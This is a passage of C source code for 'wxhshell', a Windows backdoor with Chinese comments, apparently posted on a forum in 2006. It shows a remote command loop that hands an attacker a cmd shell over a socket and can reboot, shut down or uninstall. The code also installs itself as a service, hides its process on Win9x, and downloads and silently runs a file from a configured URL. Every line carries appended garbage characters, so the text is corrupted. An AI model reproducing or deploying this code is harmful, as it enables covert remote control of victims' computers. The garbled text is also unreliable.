    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (RmED\.]4  
    break; :(b3)K  
    } 8e@JvAaa$  
  // 卸载 7S2F^,w  
  case 'r': { |+:ZO5FaO  
    if(Uninstall()) N ACY;XQ%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]R{"=H'  
    else M0zD)@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v,+l xY  
    break; h<K;VpL6  
    } N ]7a=  
  // 显示 wxhshell 所在路径 ^.C X6%  
  case 'p': { 'r n;|K  
    char svExeFile[MAX_PATH]; "|'`'W  
    strcpy(svExeFile,"\n\r"); tTFoS[V  
      strcat(svExeFile,ExeFile); 93Gur(j^  
        send(wsh,svExeFile,strlen(svExeFile),0); 3K!0 4\  
    break; |2<f<k/UT  
    } $cOD6Xr)d  
  // 重启 1:!rw,Jzl`  
  case 'b': { R$fIb}PDr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T+nC>}*jgJ  
    if(Boot(REBOOT)) 0o|,& K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _A|\.(t  
    else { W>s'4C`  
    closesocket(wsh); C9H11g7{  
    ExitThread(0); <M OL{jan  
    } ,;P`Mf'YC  
    break; \u _v7g  
    } 4<g72| y  
  // 关机 >.hGoT!_k  
  case 'd': { HCIF9{o1j>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _O;~ }N4u  
    if(Boot(SHUTDOWN)) fJw=7t-t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 56Y5kxmi  
    else { :J`!'{r  
    closesocket(wsh); C)96/k  
    ExitThread(0); W:poUG1UR  
    } /e sk  
    break; m=.7f9  
    } OEE{JVeI  
  // 获取shell `VFl|o#H  
  case 's': { ZU.)K>'  
    CmdShell(wsh); :ZfUjqRE  
    closesocket(wsh); ,N7l/6  
    ExitThread(0); ;vclAsJ  
    break; pu$XUt  
  } >jz%bY  
  // 退出 : |*,Lwvd  
  case 'x': { sHTePEJ_h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w52HN;Jm  
    CloseIt(wsh); DYKV54\ue  
    break; eAYW%a  
    } &#oZ>`Qu  
  // 离开 )4)iANH?  
  case 'q': { `;qv}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xFm{oJ!]&  
    closesocket(wsh); +Q!xEfpO;  
    WSACleanup(); SxW}Z_8x  
    exit(1); p@8^gc  
    break; KO]?>>5S6  
        } l6B^sc*@  
  } 7k t7^V<  
  } =E}%>un  
`{|}LFS>  
  // 提示信息 &Y>~^$`J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  mz VuQ  
} A[ECa{ v  
  } 2V2x,!  
UE,~_hp  
  return; ~R?dDL  
} 9Oo*8wvGG  
;Jbc'V'fm  
// shell模块句柄 9MtJo.A  
int CmdShell(SOCKET sock) /IJ9_To  
{ 88np/jvC{  
STARTUPINFO si; -KwL9J4u  
ZeroMemory(&si,sizeof(si)); 3@F+E\k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (-' 0g@0UA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UGC|C F2K  
PROCESS_INFORMATION ProcessInfo; N]s7/s  
char cmdline[]="cmd"; vzyI::f?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Ir1qt8 T  
  return 0; enbN0  
} (LT\ IJSM  
;vv!qBl|@  
// 自身启动模式 >uchF8)e|  
int StartFromService(void) Xk&F4BJQk<  
{ /romTK4  
typedef struct jRdhLs,M9  
{ i9@;,4f  
  DWORD ExitStatus; b?2X>QJ  
  DWORD PebBaseAddress;  lGnql1(  
  DWORD AffinityMask; q:- ]d0B+  
  DWORD BasePriority; yrE,,N%I  
  ULONG UniqueProcessId; w-'D*dOi  
  ULONG InheritedFromUniqueProcessId; Dmm r]~  
}   PROCESS_BASIC_INFORMATION; fs3 -rXoB  
CVGOX z  
PROCNTQSIP NtQueryInformationProcess; (| 36!-(iK  
X6Nm!od'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5<)gCHa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 43u PH1 )  
-l40)^ E}  
  HANDLE             hProcess; dp UdFuU"  
  PROCESS_BASIC_INFORMATION pbi; LA;V}%y ?  
C{`^9J-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tJ h3$K\  
  if(NULL == hInst ) return 0; p-i.ITRS  
|auX*hb9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1O]5/Eu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f1CMR4D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hP4)8>  
rAlh& ?X  
  if (!NtQueryInformationProcess) return 0; {7K'<ti  
oc3dd"8}@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l6 S19Kv  
  if(!hProcess) return 0; *< $c =  
re ]Ste  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _d\u!giy  
C"U[ b%  
  CloseHandle(hProcess); rTP5-4  
<*A|pns  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /jjW/ lr  
if(hProcess==NULL) return 0; Ere?d~8  
]{Mci]H6T  
HMODULE hMod; <uBhi4  
char procName[255]; #Cg}!38  
unsigned long cbNeeded; +#-kIaU  
^&`sWO@=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TXd5v#_vo  
)p/=u@8_f  
  CloseHandle(hProcess); -'O Q-5  
>/!7i3Ow-  
if(strstr(procName,"services")) return 1; // 以服务启动 f%Z;05  
L@1,7@  
  return 0; // 注册表启动 J$6-c' 8  
} 8 l'bRyuS  
>bX-!<S  
// 主模块 b(.-~c('  
int StartWxhshell(LPSTR lpCmdLine) Xr@l+zr  
{ ih+*T1#:(  
  SOCKET wsl; IFd )OZ5  
BOOL val=TRUE; Xq8uY/j  
  int port=0;  !fQJL   
  struct sockaddr_in door; "<PoJPh  
[):{5hMA  
  if(wscfg.ws_autoins) Install(); 97qtJ(ESI  
5"-una>D  
port=atoi(lpCmdLine); } * ?n?'  
h*;g0QBkl  
if(port<=0) port=wscfg.ws_port; b(P HZCy#  
9SRfjS{7  
  WSADATA data; u( V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [K/O5_  
NCowt|#t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YVQ_tCC_!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4 [R8(U[g  
  door.sin_family = AF_INET; RLYU\@kK?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 18DTv6?QG  
  door.sin_port = htons(port); M>*0r<qn  
E;6Y? vJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lv<iJH\  
closesocket(wsl); kq)+@p  
return 1; 1s{ISWm  
} u @{E{  
pY+.SuM  
  if(listen(wsl,2) == INVALID_SOCKET) { 7ei>L]gm%  
closesocket(wsl); L.C ^E7;Z_  
return 1; zY7*[!c2  
} (v|r'B9 b  
  Wxhshell(wsl); kZV^F*7  
  WSACleanup(); 5kGxhD  
W4)kkJ  
return 0; 0Y2\n-`z  
g\ErJ+i  
} XIr{U5$<6  
2Pbe~[  
// 以NT服务方式启动 Q)x?B]b-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vOos*&  
{ RL?u n}Qa  
DWORD   status = 0; (H&@u9K?a?  
  DWORD   specificError = 0xfffffff; qSFc=Wwc  
vVI6m{zYV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j2RRSz&9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [leW/2i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Um]p&phVL  
  serviceStatus.dwWin32ExitCode     = 0; ?j1_ n,d  
  serviceStatus.dwServiceSpecificExitCode = 0; a$w},= `E  
  serviceStatus.dwCheckPoint       = 0; VK@$JwdL  
  serviceStatus.dwWaitHint       = 0; U8CWz!;Qz  
6BDt.bG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +68+PhHF  
  if (hServiceStatusHandle==0) return; 2{Wo-B,wt~  
~R :<Bw  
status = GetLastError(); PV?]UUc'n<  
  if (status!=NO_ERROR) k/df(cs  
{ 3^!Hl8P7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q Oz9\,C  
    serviceStatus.dwCheckPoint       = 0; r8IX/ ,  
    serviceStatus.dwWaitHint       = 0; oS~}TR:}  
    serviceStatus.dwWin32ExitCode     = status; C@*%AY  
    serviceStatus.dwServiceSpecificExitCode = specificError; `*>V6B3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7SBM^r}  
    return; ?QGmoQ)  
  } D`~JbKV5@^  
d!`lsh@tF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )8[ym/m  
  serviceStatus.dwCheckPoint       = 0; q\a[S*  
  serviceStatus.dwWaitHint       = 0;  KR&s?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dSwm|kIa  
} sa_R$ /H  
Ej' 7h~=v  
// 处理NT服务事件,比如:启动、停止 *Wzwbwg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h2"9"*S1  
{ -g:lOht  
switch(fdwControl) 'nMApPl  
{ A^pu  
case SERVICE_CONTROL_STOP: p?;-!TUv  
  serviceStatus.dwWin32ExitCode = 0; ;_iPm?Y8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -<_7\09  
  serviceStatus.dwCheckPoint   = 0; ?8Et[tFg  
  serviceStatus.dwWaitHint     = 0; wuKl-:S;Vs  
  { ;P3>>DZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1xz\=HOT  
  } [_h%F,_ A  
  return; gF3TwAr  
case SERVICE_CONTROL_PAUSE: lY.B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B]1HS`*7  
  break; x"vwWJNQ  
case SERVICE_CONTROL_CONTINUE: z+jh ;!i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tG/1pW  
  break; Mec{_jiH&D  
case SERVICE_CONTROL_INTERROGATE: 8 4z6zFv?Q  
  break; 2 #KoN8%  
}; -&imjy<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F<5nGx cC  
} " 9qp "%  
):krJ+-/y  
// 标准应用程序主函数  JX{KYU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .8]Y-  
{ 6_*!|g  
Sr&T[ex,.  
// 获取操作系统版本 N=#4L$@-  
OsIsNt=GetOsVer(); Id %_{),HX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }&1Iyb  
*wwhZe4V  
  // 从命令行安装 y?>#t^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 27>a#vCT  
va5FxF*%  
  // 下载执行文件 _F izgs  
if(wscfg.ws_downexe) { &s:=qQa1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @;m$ua*|:  
  WinExec(wscfg.ws_filenam,SW_HIDE); +3Y!xD?=  
} h 'l^g%;  
84'?u m  
if(!OsIsNt) { O-j$vzHpdY  
// 如果时win9x,隐藏进程并且设置为注册表启动  {7X#4o0  
HideProc(); 2Pp&d>E4  
StartWxhshell(lpCmdLine); |6%.VY2b  
} "V 3}t4  
else \X& C4#  
  if(StartFromService()) n>P! u71  
  // 以服务方式启动 YdI0E   
  StartServiceCtrlDispatcher(DispatchTable); vBNZ<L\|a  
else }~Q5Y3]#~  
  // 普通方式启动 5[4Z=RP  
  StartWxhshell(lpCmdLine); XrS\+y3  
) r9b:c\  
return 0; o 7G> y#Y  
}
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只看该作者 1 发表于: 2006-10-10
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